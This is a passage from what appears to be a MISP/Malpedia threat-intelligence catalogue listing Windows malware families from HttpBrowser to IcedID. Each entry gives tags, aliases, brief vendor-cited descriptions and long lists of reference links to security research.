https://www.synacktiv.com/en/publications/open-source-toolset-of-an-ivanti-csa-attacker
https://www.secureworks.com/research/threat-profiles/bronze-mayfair
https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/
https://www.fireeye.com/blog/threat-research/2021/09/proxyshell-exploiting-microsoft-exchange-servers.html
https://blog.talosintelligence.com/new-zardoor-backdoor/
https://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://www.secureworks.com/research/threat-profiles/bronze-atlas
https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/
https://www.secureworks.com/research/htran
https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers

HttpBrowser

The tag is: *misp-galaxy:malpedia="HttpBrowser"*

HttpBrowser is also known as:

- HttpDump

Table 4115. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.httpbrowser
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://threatconnect.com/blog/the-anthem-hack-all-roads-lead-to-china/
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/
https://www.secureworks.com/research/threat-profiles/bronze-union
https://attack.mitre.org/groups/G0026
https://www.threatconnect.com/blog/threatconnect-discovers-chinese-apt-activity-in-europe/

httpdropper

The tag is: *misp-galaxy:malpedia="httpdropper"*

httpdropper is also known as:

- httpdr0pper

Table 4116. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.httpdropper
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/dissecting-operation-troy.pdf
http://www.malware-reversing.com/2013/04/5-south-korea-incident-new-malware.html
https://www.sans.org/reading-room/whitepapers/critical/tracing-lineage-darkseoul-36787

HTTPSnoop

Cisco Talos states that HTTPSnoop is a simple, yet effective, backdoor that consists of novel techniques to interface with Windows HTTP kernel drivers and devices to listen to incoming requests for specific HTTP(S) URLs and execute that content on the infected endpoint.

The tag is: *misp-galaxy:malpedia="HTTPSnoop"*

HTTPSnoop is also known as:

- TOFULOAD

Table 4117. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.httpsnoop
https://blog.talosintelligence.com/introducing-shrouded-snooper/

HTTP(S) uploader

The HTTP(S) uploader is a Lazarus tool responsible for data exfiltration, by using the HTTP or HTTPS protocols.

It accepts up to 10 command line parameters: a 29-byte decryption key, a C&C for data exfiltration, the name of a local RAR split volume, the name of the multivolume archive on the server side, the size of a RAR split (max 200,000 kB), the starting index of a split, the ending index of a split, and the switch -p with a proxy IP address and port

The tag is: *misp-galaxy:malpedia="HTTP(S) uploader"*

HTTP(S) uploader is also known as:

Table 4118. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.httpsuploader
https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf
https://securelist.com/lazarus-threatneedle/100803/
https://www.welivesecurity.com/2022/09/30/amazon-themed-campaigns-lazarus-netherlands-belgium/

http_troy

The tag is: *misp-galaxy:malpedia="http_troy"*

http_troy is also known as:

Table 4119. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.http_troy
http://www.malware-reversing.com/2013/04/5-south-korea-incident-new-malware.html
https://www.mcafee.com/enterprise/en-us/assets/white-papers/wp-dissecting-operation-troy.pdf

HUI Loader

A loader that has been used by multiple threat actor groups since 2015.

The tag is: *misp-galaxy:malpedia="HUI Loader"*

HUI Loader is also known as:

- SIDESTEP

Table 4120. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hui_loader
https://attack.mitre.org/groups/G1021/
https://www.sentinelone.com/labs/chinese-entanglement-dll-hijacking-in-the-asian-gambling-sector/
https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader
https://blogs.jpcert.or.jp/ja/2022/05/HUILoader.html
https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf
https://medium.com/@morimolymoly/hui-loader-malware-analysis-note-4fa0e1c791d3

Hunter Stealer

The tag is: *misp-galaxy:malpedia="Hunter Stealer"*

Hunter Stealer is also known as:

Table 4121. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hunter
https://twitter.com/3xp0rtblog/status/1324800226381758471

Hunters International

Emerging in Q3 2023 as a Ransomware-as-a-Service (RaaS) operation, Hunters International has established itself as a distinct yet controversial threat actor in the cybercrime ecosystem. While initial analysis revealed a code overlap with the dismantled Hive ransomware, the group claims independence, asserting it purchased Hive's source code rather than directly rebranding. This operational lineage enables advanced double-extortion campaigns prioritizing data exfiltration over encryption, with confirmed theft of medical records, financial data, and proprietary business information. The group's ransomware is written in Rust, a programming language favored for its resilience to reverse engineering and cross-platform compatibility.

The tag is: *misp-galaxy:malpedia="Hunters International"*

Hunters International is also known as:

Table 4122. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hunters_international
https://www.trendmicro.com/vinfo/in/security/news/ransomware-spotlight/ransomware-spotlight-water-ouroboros
https://x.com/rivitna2/status/1715345562034225621

Hupigon

The tag is: *misp-galaxy:malpedia="Hupigon"*

Hupigon is also known as:

Table 4123. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hupigon
https://www.proofpoint.com/us/threat-insight/post/threat-actors-repurpose-hupigon-adult-dating-attacks-targeting-us-universities

HuskLoader

The tag is: *misp-galaxy:malpedia="HuskLoader"*

HuskLoader is also known as:

Table 4124. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.huskloader
https://twitter.com/SethKingHi/status/1612377098777133057

Hussar

The tag is: *misp-galaxy:malpedia="Hussar"*

Hussar is also known as:

Table 4125. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hussar

https://www.ptsecurity.com/ww-en/analytics/calypso-apt-2019/

HxDef

The tag is: *misp-galaxy:malpedia="HxDef"*

HxDef is also known as:

- HacDef
- HackDef
- HackerDefender

Table 4126. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hxdef
https://de.securelist.com/malware-entwicklung-im-ersten-halbjahr-2007/59574/

HyperBro

HyperBro is a RAT that has been observed to target primarily within the gambling industries, though it has been spotted in other places as well. The malware typically consists of 3 or more components: a) a genuine loader typically with a signed certification b) a malicious DLL loader loaded from the former component via DLL hijacking c) an encrypted and compressed blob that decrypts to a PE-based payload which has its C2 information hardcoded within.

The tag is: *misp-galaxy:malpedia="HyperBro"*

HyperBro is also known as:

Table 4127. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperbro
https://blog.team-cymru.com/2020/03/25/how-the-iranian-cyber-security-agency-detects-emissary-panda-malware/
https://www.trendmicro.com/en_us/research/22/h/irontiger-compromises-chat-app-Mimi-targets-windows-mac-linux-users.html
https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf
https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf
https://www.mandiant.com/resources/unc215-chinese-espionage-campaign-in-israel

https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pivoter_tel_bernard_ou_comment_monitorer_des_attaq/SSTIC2020-Slides-pivoter_tel_bernard_ou_comment_monitorer_des_attaquants_ngligents-lunghi.pdf

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/iron-tiger-compromises-chat-application-mimi,-targets-windows,-mac,-and-linux-users/IOCs-IronTiger-compromises-chat-application-mimi-targets-windows-mac-linux-users.txt

https://www.intrinsec.com/apt27-analysis/

https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html

https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia

https://cyware.com/news/apt27-group-targets-german-organizations-with-hyperbro-2c43b7cf/

https://www.secureworks.com/research/threat-profiles/bronze-union

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/

https://vblocalhost.com/uploads/VB2020-Shank-Piccolini.pdf

https://www.mandiant.com/resources/blog/chinese-espionage-tactics

https://securelist.com/luckymouse-hits-national-data-center/86083/

https://team-cymru.com/2020/03/25/how-the-iranian-cyber-security-agency-detects-emissary-panda-malware/

https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox

https://www.youtube.com/watch?v=YCwyc6SctYs

http://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/

https://www.bleepingcomputer.com/news/security/german-govt-warns-of-apt27-hackers-backdooring-business-networks/

https://www.verfassungsschutz.de/SharedDocs/publikationen/DE/cyberabwehr/2022-01-bfv-cyber-brief.pdf?blob=publicationFile&v=10

https://blog.sekoia.io/luckymouse-uses-a-backdoored-electron-app-to-target-macos/

https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/

https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia

https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/

https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop

https://www.fireeye.com/blog/threat-research/2021/08/unc215-chinese-espionage-campaign-in-israel.html

https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/?utm_source=rss&utm_medium=rss&utm_campaign=apt-group-targeting-governmental-agencies-in-east-asia
https://www.tra.gov.ae/assets/mTP39Tp6.pdf.aspx

HYPERSCRAPE

The tag is: *misp-galaxy:malpedia="HYPERSCRAPE"*

HYPERSCRAPE is also known as:

Table 4128. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperscrape
https://blog.google/threat-analysis-group/new-iranian-apt-data-extraction-tool/

HyperSSL (Windows)

Sideloader used by EmissaryPanda

The tag is: *misp-galaxy:malpedia="HyperSSL (Windows)"*

HyperSSL (Windows) is also known as:

- FOCUSFJORD
- Soldier
- Sysupdate

Table 4129. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperssl
https://x.com/Unit42_Intel/status/1933565063736021372
https://www.sstic.org/media/SSTIC2021/SSTIC-actes/Taking_Advantage_of_PE_Metadata_or_How_To_Complete/SSTIC2021-Article-Taking_Advantage_of_PE_Metadata_or_How_To_Complete_your_Favorite_Threat_Actor_Sample_Collection-lunghi.pdf
https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf
https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/
https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf

https://www.fireeye.com/blog/threat-research/2021/08/unc215-chinese-espionage-campaign-in-israel.html
https://www.mandiant.com/resources/unc215-chinese-espionage-campaign-in-israel
https://www.mandiant.com/resources/blog/chinese-espionage-tactics
https://twitter.com/ESETresearch/status/1594937054303236096
https://www.tra.gov.ae/assets/mTP39Tp6.pdf.aspx
https://www.sstic.org/media/SSTIC2021/SSTIC-actes/Taking_Advantage_of_PE_Metadata_or_How_To_Complete/SSTIC2021-Slides-Taking_Advantage_of_PE_Metadata_or_How_To_Complete_your_Favorite_Threat_Actor_Sample_Collection-lunghi.pdf
https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html
https://vblocalhost.com/uploads/VB2020-Shank-Piccolini.pdf
https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html
https://norfolkinfosec.com/emissary-panda-dll-backdoor/

HZ RAT (Windows)

The tag is: *misp-galaxy:malpedia="HZ RAT (Windows)"*

HZ RAT (Windows) is also known as:

Table 4130. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hzrat
https://medium.com/@DCSO_CyTec/hz-rat-goes-china-506854c5f2e2

I2PRAT

According to Cofense, this malware is notable for having several unique tactics, techniques, and procedures (TTPs), such as Secure Email Gateway (SEG) evasion by proxying emails through legitimate infrastructure, fake CAPTCHAs, abusing hardcoded Windows functionality to hide dropped files, and C2 capabilities over Invisible Internet Project (I2P), a peer-to-peer anonymous network with end-to-end encryption. Upon installation, I2Parcae is capable of disabling Windows Defender, enumerating Windows Security Accounts Manager (SAM) for accounts/groups, stealing browser cookies, and remote access to infected hosts. As of November 2024, I2Parcae appears to be delivered via automated spam messages targeting customer support contact forms on multiple websites. The messages deliver an embedded link purporting to be pornography.

The tag is: *misp-galaxy:malpedia="I2PRAT"*

I2PRAT is also known as:

- I2Parcae

Table 4131. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.i2prat
https://cofense.com/blog/custom-i2p-rat-i2parcae%E2%80%9D-delivered-via-pornographic-customer-support-form-spam

Icarus

Icarus is a modular stealer software, written in .NET. One module is the open source r77 rootkit.

The tag is: *misp-galaxy:malpedia="Icarus"*

Icarus is also known as:

Table 4132. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.icarus
https://twitter.com/struppigel/status/1566685309093511170

IcedID

According to Proofpoint, IcedID (aka BokBot) is a malware originally classified as a banking malware and was first observed in 2017. It also acts as a loader for other malware, including ransomware. The well-known IcedID version consists of an initial loader which contacts a Loader C2 server, downloads the standard DLL Loader, which then delivers the standard IcedID Bot. IcedID is developed and operated by the actor named LUNAR SPIDER.

As previously published, historically there has been just one version of IcedID that has remained constant since 2017. * In November 2022, Proofpoint researchers observed the first new variant of IcedID Proofpoint dubbed 'IcedID Lite' distributed as a follow-on payload in a TA542 Emotet campaign. It was dropped by the Emotet malware soon after the actor returned to the e-crime landscape after a nearly four-month break. * The IcedID Lite Loader observed in November 2022 contains a static URL to download a 'Bot Pack' file with a static name (botpack.dat) which results in the IcedID Lite DLL Loader, and then delivers the Forked version of IcedID Bot, leaving out the webinjects and backconnect functionality that would typically be used for banking fraud. * Starting in February 2023, Proofpoint observed the new Forked variant of IcedID. This variant was distributed by TA581 and one unattributed threat activity cluster which acted as initial access facilitators. The campaigns used a variety of email attachments such as Microsoft OneNote attachments and somewhat rare to see .URL attachments, which led to the Forked variant of IcedID.

The tag is: *misp-galaxy:malpedia="IcedID"*

IcedID is also known as:

- BokBot
- IceID

Table 4133. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid
https://isc.sans.edu/diary/rss/28934
https://www.group-ib.com/blog/icedid
https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike
https://www.europol.europa.eu/media-press/newsroom/news/largest-ever-operation-against-botnets-hits-dropper-malware-ecosystem
https://0x0d4y.blog/icedid-technical-analysis-of-x64-dll-version/
https://isc.sans.edu/forums/diary/TA551+Shathak+pushes+IcedID+Bokbot/28092/
https://strapi.eurepoc.eu/uploads/Eu_Repo_C_APT_profile_Conti_Wizard_Spider_dc2a733e18.pdf
https://blog.minerva-labs.com/icedid-maas
https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf
https://kienmanowar.wordpress.com/2020/08/16/manual-unpacking-icedid-write-up/
https://eln0ty.github.io/malware%20analysis/IcedID/
https://cert.gov.ua/article/39609
https://blog.unpac.me/2023/05/03/unpacme-weekly-new-version-of-icedid-loader
https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html
https://www.trendmicro.com/en_us/research/21/d/a-spike-in-bazarcall-and-icedid-activity.html
https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice
https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships
https://www.elastic.co/security-labs/icedids-network-infrastructure-is-alive-and-well
https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution
https://research.loginsoft.com/threat-research/icedid-malware-traversing-through-its-various-incarnations/
https://www.youtube.com/watch?v=wMXD4Sv1Alw
https://zero2auto.com/2020/06/22/unpacking-visual-basic-packers/
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus
https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://www.trendmicro.com/en_ie/research/22/l/icedid-botnet-distributors-abuse-google-ppc-to-distribute-malware.html

https://www.intezer.com/blog/research/conversation-hijacking-campaign-delivering-icedid/

https://blog.cyberint.com/icedid-stealer-man-in-the-browser-banking-trojan

https://unit42.paloaltonetworks.com/teasing-secrets-malware-configuration-parsing

https://0x0d4y.blog/icedid-technical-analysis/

https://blogs.vmware.com/security/2021/07/icedid-analysis-and-detection.html

https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire

https://digitalguardian.com/blog/iceid-banking-trojan-targeting-banks-payment-card-providers-e-commerce-sites

https://blog.reversinglabs.com/blog/code-reuse-across-packers-and-dll-loaders

https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot

https://twitter.com/felixw3000/status/1521816045769662468

https://www.binarydefense.com/icedid-gziploader-analysis/

https://www.team-cymru.com/post/a-visualizza-into-recent-icedid-campaigns

https://forensicitguy.github.io/analyzing-icedid-document/

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

https://twitter.com/embee_research/status/1592067841154756610?s=20

https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf

https://www.team-cymru.com/post/inside-the-icedid-backconnect-protocol

https://thedfirreport.com/2024/06/10/icedid-brings-screenconnect-and-csharp-streamer-to-alphv-ransomware-deployment/

https://isc.sans.edu/forums/diary/How+the+Contact+Forms+campaign+tricks+people/28142/

https://aaqeel01.wordpress.com/2021/04/09/icedid-analysis/

https://www.uptycs.com/blog/icedid-campaign-spotted-being-spiced-with-excel-4-macros

https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f

https://drive.google.com/file/d/1jB0CsDvAADSrBeGxoi5gzyx8eQIiOJ2G/view

https://blog.fox-it.com/2018/08/09/bokbot-the-rebirth-of-a-banker/

https://matth.dmz42.org/posts/2022/automatically-unpacking-icedid-stage1-with-angr/

https://www.crowdstrike.com/blog/bokbots-man-in-the-browser-overview/

https://therecord.media/meet-prometheus-the-secret-tds-behind-some-of-todays-malware-campaigns/

https://github.com/Lastline-Inc/iocs-tools/tree/main/2021-07-IcedID-Part-2

https://threatpost.com/exchange-servers-speared-in-icedid-phishing-campaign/179137/

https://www.youtube.com/watch?v=7Dk7NkIbVqY
https://www.crowdstrike.com/blog/digging-into-bokbots-core-module/
https://intel471.com/blog/malvertising-surges-to-distribute-malware
https://blog.reconinfosec.com/an-encounter-with-ta551-shathak
https://isc.sans.edu/diary/28636
https://securityintelligence.com/icedid-banking-trojan-spruces-up-injection-tactics-to-add-stealth/
https://securityintelligence.com/icedid-operators-using-atsengine-injection-panel-to-hit-e-commerce-sites/
https://thedfirreport.com/2021/07/19/icedid-and-cobalt-strike-vs-antivirus/
https://www.socinvestigation.com/icedid-banking-trojan-returns-with-new-ttps-detection-response/
https://thedfirreport.com/2023/05/22/icedid-macro-ends-in-nokoyawa-ransomware/
https://www.first.org/resources/papers/amsterdam23/IcedID-FIRST-AMS-2023.pdf
https://isc.sans.edu/diary/Google+ads+lead+to+fake+software+pages+pushing+IcedID+Bokbot/29344
https://www.netresec.com/?page=Blog&month=2023-10&post=Forensic-Timeline-of-an-IcedID-Infection
https://blog.nviso.eu/2023/03/20/icedids-vnc-backdoors-dark-cat-anubis-keyhole/
https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240
https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/
https://www.youtube.com/watch?v=wObF9n2UIAM
https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko
https://medium.com/@dawid.golak/icedid-aka-bokbot-analysis-with-ghidra-560e3eccb766
https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://www.f5.com/labs/articles/threat-intelligence/icedid-banking-trojan-uses-covid-19-pandemic-to-lure-new-victims
https://thedfirreport.com/2024/04/29/from-icedid-to-dagon-locker-ransomware-in-29-days/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker
https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q3%20Botnet%20Threat%20Update.pdf

https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html
https://blogs.juniper.net/en-us/threat-research/iceid-campaign-strikes-back
https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html
https://blog.malwarebytes.com/threat-analysis/2019/12/new-version-of-icedid-trojan-uses-steganographic-payloads/
https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf
https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/
https://unit42.paloaltonetworks.com/wireshark-quiz-icedid-answers/
https://www.secureworks.com/research/threat-profiles/gold-swathmore
https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout
https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://www.spreaker.com/user/16860719/proofpoint-e29-mix-v1
https://github.com/telekom-security/icedid_analysis
https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/
https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/
https://www.silentpush.com/blog/icedid-command-and-control-infrastructure
https://www.splunk.com/en_us/blog/security/detecting-icedid-could-it-be-a-trickbot-copycat.html
https://cloud.google.com/blog/topics/threat-intelligence/melting-unc2198-icedid-to-ransomware-operations
https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary
https://blog.talosintelligence.com/2020/07/valak-emerges.html
https://www.cybereason.com/blog/cybereason-vs.-quantum-locker-ransomware
https://twitter.com/Unit42_Intel/status/1645851799427874818
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf
https://blog.talosintelligence.com/2018/04/icedid-banking-trojan.html
https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://threatresearch.ext.hp.com/detecting-ta551-domains/

https://tccontre.blogspot.com/2021/01/

https://www.intrinsec.com/emotet-returns-and-deploys-loaders/

https://www.trendmicro.com/en_us/research/21/j/ransomware-operators-found-using-new-franchise-business-model.html

https://www.youtube.com/watch?v=YEqLIR6hfOM

https://info.spamhaus.com/hubfs/Botnet%20Reports/Q4%202023%20Botnet%20Threat%20Update.pdf

https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/

https://www.justice.gov/opa/pr/foreign-national-pleads-guilty-role-cybercrime-schemes-involving-tens-millions-dollars

https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/

https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/

https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/

https://www.fortinet.com/blog/threat-research/icedid-malware-analysis-part-two.html

https://securityintelligence.com/x-force/spam-trends-campaigns-senior-superlatives-2023/

https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware

https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx

https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware

https://elis531989.medium.com/funtastic-packers-and-where-to-find-them-41429a7ef9a7

https://www.nri-secure.co.jp/blog/explaining-the-tendency-of-malware-icedid

https://isc.sans.edu/diary/29740

https://tccontre.blogspot.com/2020/08/learning-from-iceid-loader-including.html

https://dshield.org/diary/Recent+IcedID+Bokbot+activity/29740/

https://www.netresec.com/?page=Blog&month=2022-10&post=IcedID-BackConnect-Protocol

https://intel471.com/blog/conti-emotet-ransomware-conti-leaks

https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware

https://www.team-cymru.com/post/from-chile-with-malware

https://blogs.blackberry.com/en/2023/01/emotet-returns-with-new-methods-of-evasion

https://www.microsoft.com/security/blog/2021/04/09/investigating-a-unique-form-of-email-delivery-for-icedid-malware/

https://isc.sans.edu/diary/IcedID+%28Bokbot%29+with+Dark+VNC+and+Cobalt+Strike/28884

https://netresec.com/?b=214d7ff

https://github.com/f0wl/deICEr

https://gist.github.com/psrok1/e6bf5851d674edda03a201e7f24a5e6b

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/

https://www.microsoft.com/security/blog/2020/12/09/edr-in-block-mode-stops-icedid-cold/

https://www.intrinsec.com/prospero-proton66-tracing-uncovering-the-links-between-bulletproof-networks/

https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf

https://www.youtube.com/watch?v=oZ4bwnjcXWg

https://labs.sentinelone.com/evasive-maneuvers-massive-icedid-campaign-aims-for-stealth-with-benign-macros/

https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf

https://www.netresec.com/?page=Blog&month=2023-02&post=How-to-Identify-IcedID-Network-Traffic

https://awakesecurity.com/blog/detecting-icedid-and-cobalt-strike-beacon-with-network-detection-and-response/

https://nikpx.github.io/malware/analysis/2022/03/09/BokBot

https://malwation.com/icedid-malware-technical-analysis-report/

https://www.ironnet.com/blog/ransomware-graphic-blog

https://unit42.paloaltonetworks.com/ta551-shathak-icedid/

https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf

https://medium.com/walmartglobaltech/keyhole-analysis-60302922aa03

https://www.mimecast.com/globalassets/documents/whitepapers/taa551-treatresearch_final-1.15.21.pdf

https://4rchib4ld.github.io/blog/IcedIDOnMyNeckImTheCoolest/

https://www.cynet.com/attack-techniques-hands-on/shelob-moonlight-spinning-a-larger-web/

https://www.elastic.co/security-labs/unpacking-icedid

https://team-cymru.com/blog/2021/05/19/tracking-bokbot-infrastructure/

https://www.fortinet.com/blog/threat-research/deep-dive-icedid-malware-analysis-of-child-processes.html

https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/

https://www.bleepingcomputer.com/news/security/microsoft-exchange-targeted-for-icedid-reply-chain-hijacking-attacks/

https://www.proofpoint.com/us/blog/threat-insight/fork-ice-new-era-icedid

https://news.sophos.com/en-us/2020/02/18/nearly-a-quarter-of-malware-now-communicates-using-tls/

https://www.team-cymru.com/post/inside-the-icedid-backconnect-protocol-part-2

https://thedfirreport.com/2021/06/20/from-word-to-lateral-movement-in-1-hour/

https://securityintelligence.com/posts/itg23-crypters-cooperation-between-cybercriminal-groups/

https://www.esentire.com/blog/icedid-to-cobalt-strike-in-under-20-minutes

https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware

https://twitter.com/embee_research/status/1592067841154756610?s=20&t=hEALPAWr1LIt9pXcVpxjRQ

https://ceriumnetworks.com/threat-of-the-month-icedid-malware/

https://blogs.vmware.com/security/2021/07/hunting-icedid-and-unpacking-automation-with-qiling.html

https://unit42.paloaltonetworks.com/atoms/monsterlibra/

https://thedfirreport.com/2023/08/28/html-smuggling-leads-to-domain-wide-ransomware/

https://www.prodaft.com/m/reports/RIG_TLP_CLEAR-1.pdf

https://thedfirreport.com/2024/04/01/from-onenote-to-ransomnote-an-ice-cold-intrusion/

https://www.netresec.com/?page=Blog&month=2025-12&post=Latrodectus-BackConnect

https://www.bleepingcomputer.com/news/security/zeus-icedid-malware-gangs-leader-pleads-guilty-faces-40-years-in-prison/

https://blog.techevo.uk/analysis/binary/2024/03/17/carving-the-icedid-part-3.html

https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/

http://www.intezer.com/icedid-banking-trojan-shares-code-pony-2-0-trojan/

https://www.vkremez.com/2018/09/lets-learn-deeper-dive-into.html

https://blog.group-ib.com/prometheus-tds

https://medium.com/walmartglobaltech/icedid-leverages-privateloader-7744771bf87f

https://thedfirreport.com/2022/04/25/quantum-ransomware/

https://research.checkpoint.com/2021/melting-ice-tracking-icedid-servers-with-a-few-simple-steps/

https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine

https://www.fortinet.com/blog/threat-research/icedid-malware-analysis-part-one.html

